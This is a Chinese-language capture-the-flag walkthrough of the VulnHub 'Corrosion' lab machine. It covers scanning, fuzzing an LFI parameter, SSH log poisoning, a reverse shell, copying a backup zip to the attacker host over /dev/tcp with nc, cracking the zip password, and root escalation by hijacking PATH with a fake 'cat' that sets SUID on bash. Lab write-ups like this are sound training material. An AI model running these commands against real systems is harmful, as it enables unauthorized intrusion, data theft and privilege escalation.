一、环境准备
1.靶机下载
https://download.vulnhub.com/corrosion/Corrosion.ova
2.网络配置
kali攻击机和靶机均采用桥接模式,使用手机热点
二、信息收集
1.网络主机发现
sudo arp-scan -l
kali:192.168.77.235
靶机:192.168.77.147
2.目标主机扫描
sudo nmap -sS -sV -O -p- 192.168.77.147
开放80端口和22端口
访问80端口
没有什么信息
3.网站目录扫描
3-1
dirb http://192.168.77.147
访问index.html
访问server-status
访问tasks
发现tasks_todo.txt
3-2
暂时没有发现什么,指定字典继续搜索
dirsearch -u http://192.168.77.147 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
访问blog-post
3-3
继续搜索
访问archives
访问uploads
访问randylogs.php
为空白页面,可能有隐藏参数
4.FUZZ测试
4-1
进行fuzz模糊测试,确认参数
ffuf -c -w /usr/share/wordlists/dirb/big.txt -u 'http://192.168.77.147/blog-post/archives/randylogs.php?FUZZ=/var/log/auth.log' -fs 0
发现参数为file
4-2
使用file参数访问/var/log/auth.log
PS:crtl+u,界面好看些
三、漏洞利用(ssh日志写木马)
1.验证漏洞
连接前
另起终端进行ssh连接
连接后
验证漏洞
成功执行ifconfig命令
2.反弹shell
进行url编码
另起终端开启监听
输入命令,回车
成功监听
四、内网信息收集
在/var/backups下发现user_backup.zip
尝试解压,发现需要密码
1.nc文件传输
将文件传到kali本地,再进行破解
kali开启监听
nc -nlvp 7777 >received_file1.zip
靶机shell执行命令
cat user_backup.zip > /dev/tcp/192.168.77.235/7777
kali监听成功
ls查看
2.压缩包密码破解
使用fcrackzip工具进行破解,密码为!randybaby
再次尝试解压,输入破解出来的密码后解压成功
查看my_password.txt
查看easysysinfo.c
3.SSH连接
怀疑上面的密码为ssh连接密码,尝试连接
成功连接,执行sudo -l,密码还是刚才那个
发现一个路径,进入这个路径
发现存在easysysinfo , easysysinfo.py
执行ls -la,发现easysysinfo有root权限,前面还有easysysinfo.c,easysysinfo应该是由easysysinfo.c编译过来的
五、提权
方法一
which gcc 查看是否有gcc编译
1.编写c提权脚本
2.使用gcc编译
gcc tiquan.c -o easysysinfo
3.执行文件进行提权
使用sudo执行easysysinfo,成功提权
方法二
下面是easysysinfo.c的内容
思路:easysysinfo有root权限,可以用来提权,并且由easysysinfo.c编译而来,源代码中的cat未使用绝对路径,若修改cat的内容为提权脚本,当运行easysysinfo时,就会执行我们修改后的cat,从而提权
1.重写cat
echo 'chmod +s /bin/bash' > cat
2.赋予权限
chmod +x cat
3.加入环境变量
export PATH=/home/randy/tools:$PATH
4.执行文件进行提权
./easysysinfo
5.运行bash
/bin/bash -p